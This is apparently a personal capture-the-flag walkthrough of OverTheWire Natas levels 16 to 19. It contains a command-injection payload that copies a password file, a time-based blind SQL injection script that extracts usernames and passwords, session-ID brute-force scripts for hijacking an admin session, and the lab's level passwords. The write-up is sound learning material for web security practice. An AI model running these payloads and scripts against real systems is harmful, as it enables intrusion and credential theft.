Natas16
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL: http://natas16.natas.labs.overthewire.org

This is looking a lot like Natas9 and Natas10...
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
It's filtering on the backtick character now :(...
But they didn't remove the $(echo this is a subshell)
syntax :)

Let's go through the same steps we used to solve Natas10: echo the password file to the /tmp/
directory, then cat it using Natas9
$(cat /etc/natas_webpass/natas17 > /tmp/nolook)

It worked :)
Note: this is most definitely not the expected (or encouraged) solution, but it works, which is all that matters.
Natas17
Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL: http://natas17.natas.labs.overthewire.org
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
So this is the same as Natas15, except with all of the messages commented out... To solve this we can still use our blind SQL solver from Natas15, but we have to modify the success condition. In this challenge we'll have to use the timing between messages...
Initial timing checks


At a glance, we can see that the timing for "Natas18" takes longer than "Non existent". This could change with my wireless network's load, and I'm going to have to look into timing attacks with SQL.
Blind SQL timing attacks
OWASP has a great page on blind SQL attacks, specifically this bit:
SUBSTRING(user_password,1,1) = CHAR(50)
which will give a case sensitive password (would've been a little helpful for the last blind sql challenge.
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))
This code snippet will delay the sending of the resulting SQL query. Combined with an IF
, we can run the BENCHMARK
only when the result is true.
The example from OWASP is:
UNION SELECT IF(SUBSTRING(user_password, 1, 1) = CHAR(50), BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds')), null) FROM users WHERE user_id = 1;
Now I have to apply this to the Natas17 query
Natas17 Query
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
Using the following as the username input, we get the resulting query
// Input
" or IF(SUBSTR(username, 1, 1)=char(110), BENCHMARK(100000000, rand()),null);#
// Query
SELECT * from users where username="" or IF(SUBSTR(username, 1, 1)=char(110), BENCHMARK(100000000, rand()),null);#";
Timing

Just checking for response times over a second should work nicely. I can enumerate the users, but I'm having issues with the passwords...

Finally fixed it, the injected query is pretty long, but here's a video demo of the script working (it's beautiful).

The whole script took 25 minutes and sent almost 5000 requests.
#!/usr/bin/env python
import requests
def advance_character(current_string_list):
"""
Takes the current_string_list and increments the last character, will work on empty lists
"""
if len(current_string_list) == 0:
return ["/"], False
# Working with the last character
character = current_string_list[-1]
# Acceptable characters are 0-9 A-Z a-z
if character == 'z':
# This case is when the last character has been reached
# Print the string without the 'z' guess
print("".join(current_string_list[:-1]) + " ", end='\r')
# Return the current_string_list with done set to True
return current_string_list, True
elif character == 'Z':
# Jump to next character -- no special characters in pass
character = 'a'
elif character == '9':
# Jump to next character -- no special characters in pass
character = 'A'
else:
# Increment the character
character = chr(ord(character) + 1)
# Store the updated character in the list
current_string_list[-1] = character
# Return the list with the done boolean
return current_string_list, False
def get_case_sensitive_column(url, column, uname, pword, enumerate_username=""):
"""
Takes the url for the request, the column name to enumerate, the
HTTP basic authentication username, the HTTP basic authentication password
and an optional username for enumerating password
"""
# Case sensitive results
cs_result = []
# Current guess list
current_list = []
# Number of requests
request_num = 0
regressing = False
# Loop until the enumeration is complete
while 1:
current_list, done = advance_character(current_list)
if not done:
# Print the current guess
print("".join(current_list), end='\r')
# Break if done and current_list only contains 1 character
if done and len(current_list) > 1:
if not regressing:
cs_result.append("".join(current_list)[:-1])
print("Added " + cs_result[-1] + " to results")
# Only enumerate 1 password for a username
if len(enumerate_username) > 0:
break
# New enumeration ['A', 'A', 'A'] to ['A', 'A', 'B']
current_list, done = advance_character(current_list[:-1])
regressing = True
# Print the current list
print("".join(current_list) + " ", end='\r')
# Already on the last character
if done:
break
elif done and len(current_list) <= 1:
print("Done.")
break
# $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
payload = 'IF(SUBSTR(' + column + ', ' + str(len(current_list)) + ', 1)=char(' + str(ord(current_list[-1])) + '), BENCHMARK(100000000, rand()),null)'
# Prepend username to enumerate user's password
if len(enumerate_username) > 0:
payload = '" OR IF(username="' + enumerate_username + '" COLLATE latin1_general_cs AND LEFT(' + column + ', ' + str(len(current_list)) + ')="' + "".join(current_list) + '" COLLATE latin1_general_cs, BENCHMARK(100000000, rand()),null)'
else:
# Or enumerate by just the column name
if len(current_list) > 1:
payload = '" OR LEFT(' + column + ', ' + str(len(current_list[:-1])) + ')="' + "".join(current_list[:-1]) + '" COLLATE latin1_general_cs AND ' + payload
else:
payload = '" or ' + payload
payload += ';#'
# Send the payload to the url
response = requests.post(url, auth=(uname, pword), data={'username': payload})
request_num += 1
# Check elapsed time to see if benchmark ran
if response.elapsed.seconds > 0:
# Append '/' because it will turn into the '0' character on append
current_list.append('/')
regressing = False
# Return the results
return cs_result, request_num
# Challenge information
url = "http://natas17.natas.labs.overthewire.org/index.php"
username = "natas17"
password = "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"
total_requests = 0
print("Enumerating users...")
users, req_num = get_case_sensitive_column(url, "username", username, password)
total_requests += req_num
results = {}
for user in users:
print("\nEnumerating " + user + "'s password...")
# password will be a list, but it will only have 1 element
password_res, req_num = get_case_sensitive_column(url, "password", username, password, enumerate_username=user)
if len(password_res) >= 1:
results[user] = password_res[0]
else:
results[user] = ""
total_requests += req_num
print("Found the following username password values")
for key in results.keys():
print("Username: " + key + " Password: " + results[key])
print("Total requests: " + str(total_requests))
Natas18
Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL: http://natas18.natas.labs.overthewire.org
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
?>
First PHP session challenge! It also has more code to look through, which means not all of it will be relevant.
The win condition is calling print_credentials()
with $_SESSION["admin"] == 1
There is nothing here that takes the $_POST
username or password. Just iterating through the ids: 1-640 doesn't get the password, which was my initial thought.
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
url = 'http://natas18.natas.labs.overthewire.org/index.php?debug=1'
username = "natas18"
password = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
i = 0
while 1:
cookie = {"PHPSESSID": str(i)}
print(str(i) + " ", end='\r')
response = requests.post(url, auth=(username, password), cookies=cookie)
if "Username: natas19" in response.text:
soup = BeautifulSoup(response.text, "html.parser")
content = soup.find("div", {"id": "content"})
if content is not None:
content = content.decode_contents()
print("{}\n{}".format(i, content))
break
i += 1
My initial thought was right, I just forgot to submit the natas18 authentication info with my request...

Natas19
Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL: http://natas19.natas.labs.overthewire.org

No source code, but it uses the same code, just a different way of storing session IDs
I found the session being stored in the PHPSESSID
session cookie

Logging into the server as "username", then interpreting the bytes as hex gives us the following:

Logging into the server as "admin":

One thing to note is that the number at the start changes each time, and I'm assuming it's the same as the session id from before.
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
url = 'http://natas19.natas.labs.overthewire.org/index.php?debug=1'
username = "natas19"
password = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
i = 0
while 1:
# Convert the i to the format i-username
# Using the username "admin"
cookie = {"PHPSESSID": (str(i) + "-admin").encode().hex()}
print(str(i) + " ", end='\r')
response = requests.post(url, auth=(username, password), cookies=cookie)
if "Username: natas20" in response.text:
soup = BeautifulSoup(response.text, "html.parser")
content = soup.find("div", {"id": "content"})
if content is not None:
content = content.decode_contents()
print("{}\n{}".format(i, content))
break
i += 1
A little extra to the natas18_solve.py
and viola!
